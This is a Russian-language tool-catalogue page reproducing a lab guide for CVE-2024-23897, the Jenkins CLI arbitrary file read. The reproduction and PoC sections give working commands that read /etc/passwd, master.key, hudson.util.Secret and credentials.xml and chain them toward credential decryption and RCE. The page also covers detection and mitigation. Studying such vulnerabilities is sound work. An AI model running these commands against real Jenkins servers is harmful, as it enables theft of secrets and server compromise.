Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2024-23897-jenkins_lfi_reproduction — Воспроизведение cve-2024-23897-jenkins_lfi_reproduction | Kitploit
Инструменты/GitHubGitHub/razureink/cve-2024-23897-jenkins_lfi_reproduction
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubrazureink/cve-2024-23897-jenkins_lfi_reproduction

cve-2024-23897-jenkins_lfi_reproduction

Воспроизведение cve-2024-23897-jenkins_lfi_reproduction

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
28 дней назадЕщё не проверено

CVE-2024-23897 — Уязвимость произвольного чтения файлов в Jenkins CLI

CVSS 9.8 (КРИТИЧЕСКАЯ) — Активно эксплуатируется в дикой природе


Обзор

CVE-2024-23897 — это критическая уязвимость произвольного чтения файлов в интерфейсе командной строки (CLI) Jenkins. Jenkins CLI использует библиотеку args4j для разбора аргументов команд. Эта библиотека разворачивает символ @, за которым следует путь к файлу (@/path/to/file), читая содержимое этого файла и подставляя его в качестве аргументов. Неаутентифицированный злоумышленник может воспользоваться этим поведением для чтения произвольных файлов в файловой системе контроллера Jenkins без какой-либо аутентификации.

В сочетании с извлечением credentials.xml, secrets или master.key эта уязвимость может привести к полной компрометации сервера (RCE).


Технические подробности

Разворачивание символа @ в args4j

Библиотека args4j (используемая парсером команд CLI Jenkins) реализует удобную функцию: когда аргумент начинается с @, остальная часть аргумента рассматривается как путь к файлу, содержимое файла читается и разбивается на несколько аргументов. Это было задумано для передачи больших списков аргументов через файлы.

Пример: java -jar jenkins-cli.jar who-am-i @/etc/passwd заставит args4j прочитать /etc/passwd и использовать его содержимое в качестве аргументов для команды who-am-i.

Поскольку некоторые команды CLI (например, connect-node) выводят или включают значения аргументов в сообщения об ошибках/ответы, злоумышленник может увидеть содержимое файла в ответе CLI.

Схема атаки

  1. Злоумышленник подключается к порту CLI Jenkins (по умолчанию: 50000 или конечная точка HTTP CLI)
  2. Злоумышленник отправляет команду CLI с аргументом вида @/etc/passwd
  3. Парсер args4j в Jenkins читает файл и разворачивает его в аргументы
  4. Команда CLI обрабатывает эти аргументы, и содержимое файла попадает в ответ или сообщение об ошибке
  5. Злоумышленник извлекает чувствительные файлы для повышения привилегий

Почему это критично

  • Не требуется аутентификация — Порт CLI доступен без каких-либо учётных данных
  • Нет предварительных условий — Не требуется включать специальные разрешения или функции Jenkins
  • Широкое воздействие — Десятки тысяч экземпляров Jenkins находятся под угрозой
  • Повышение привилегий — Чтение secrets/master.key позволяет расшифровать учётные данные и получить RCE

Затронутые версии

ПродуктЗатронутыеИсправленные
Jenkins (weekly)≤ 2.4412.442
Jenkins LTS≤ 2.426.22.426.3
Jenkins LTS (предыдущий)≤ 2.414.22.414.3

Примечание: Все версии Jenkins до указанных выше исправлений уязвимы. Функция CLI существует в Jenkins уже много лет, поэтому более старые версии также затронуты, даже если они явно не перечислены.


Шаги воспроизведения

Настройка окружения

  1. Запустите уязвимый экземпляр Jenkins с помощью Docker:

    root@kitploit:~
    docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.440-jdk11
    

    Запомните начальный пароль администратора из логов контейнера.

  2. Убедитесь, что порт CLI открыт:

    root@kitploit:~
    # Jenkins CLI port (TCP 50000) should be listening
    # Or you can use the HTTP CLI endpoint at /cli/
    
  3. Установите Python 3.8+ с необходимыми зависимостями:

    root@kitploit:~
    pip install requests
    

Воспроизведение с помощью Python PoC

root@kitploit:~
# Basic file read test — read /etc/passwd
python exploit.py --target http://localhost:8080 --file /etc/passwd

# Read Jenkins secrets (escalation path)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml

Воспроизведение вручную (с jenkins-cli.jar)

root@kitploit:~
# Download the Jenkins CLI jar
wget http://localhost:8080/jnlpJars/jenkins-cli.jar

# Read /etc/passwd via the CLI
java -jar jenkins-cli.jar -s http://localhost:8080 who-am-i @/etc/passwd 2>&1

# Read Jenkins secrets
java -jar jenkins-cli.jar -s http://localhost:8080 connect-node @/var/jenkins_home/secrets/master.key 2>&1

Ожидаемый результат

Содержимое файла появляется в ответе CLI или выводе ошибок. Например, чтение /etc/passwd вернёт записи файла паролей системы.


Proof of Concept (PoC) — Полная цепочка эксплуатации

Шаг 1: Сбор информации об окружении Jenkins

root@kitploit:~
# Read config to understand the environment
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/config.xml

# Read users and permissions
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/users/users.xml

Шаг 2: Извлечение секретов для RCE

root@kitploit:~
# Extract master key (used to encrypt credentials)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key

# Extract the hudson.util.Secret key
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/hudson.util.Secret

# Extract credentials (encrypted)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml

Шаг 3: Расшифровка учётных данных и достижение RCE

Имея master.key и hudson.util.Secret, вы можете расшифровать учётные данные Jenkins с помощью таких инструментов, как jenkins_decrypt.py или скрипта decrypt.py из источников по CVE-2024-23897. Расшифрованные учётные данные (SSH-ключи, API-токены, ключи облачных провайдеров) затем можно использовать для удалённого выполнения кода на подключённых узлах и в облачных средах.


Смягчение последствий

Немедленное исправление

Обнаружение

Ищите в журналах доступа или журналах аудита CLI аргументы, содержащие @ с последующим путём к файлу:

root@kitploit:~
# grep for suspicious CLI access
grep -r "@/" /var/log/jenkins/access.log

# Check for CLI connections from unexpected IPs
grep "CLI" /var/log/jenkins/jenkins.log | grep -v "127.0.0.1"

Обходной путь (если невозможно установить исправление)

Если немедленное обновление невозможно, отключите порт CLI, задав параметр --webroot или заблокировав порт 50000. Однако учтите, что конечная точка HTTP CLI (/cli/) в веб-интерфейсе может оставаться эксплуатируемой, поэтому обновление настоятельно рекомендуется.


Ссылки

  • Jenkins Security Advisory 2024-01-24
  • Запись NVD — CVE-2024-23897
  • Запись NVD — CVE-2024-23898 (связанная DoS-уязвимость CLI)
  • Документация библиотеки args4j по разворачиванию @file
  • Каталог известных эксплуатируемых уязвимостей CISA

Отказ от ответственности

Этот репозиторий предназначен только для авторизованного тестирования безопасности и образовательных целей. Несанкционированная эксплуатация этой уязвимости незаконна. Авторы не несут ответственности за любое неправомерное использование этой информации. Проводите тестирование только на системах, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение.

Скачать инструмент
ДействиеПодробности
Обновите JenkinsОбновитесь до Jenkins 2.442+ или LTS 2.426.3+ / 2.414.3+
Отключите порт CLIЗаблокируйте TCP-порт 50000 на межсетевом экране, если он не нужен
Ограничьте сетевой доступОграничьте доступ к порту CLI Jenkins только доверенными сетями
Включите аутентификациюУбедитесь, что Jenkins требует аутентификацию для всего доступа
Отслеживайте логиИщите в журналах доступа команды CLI с аргументами @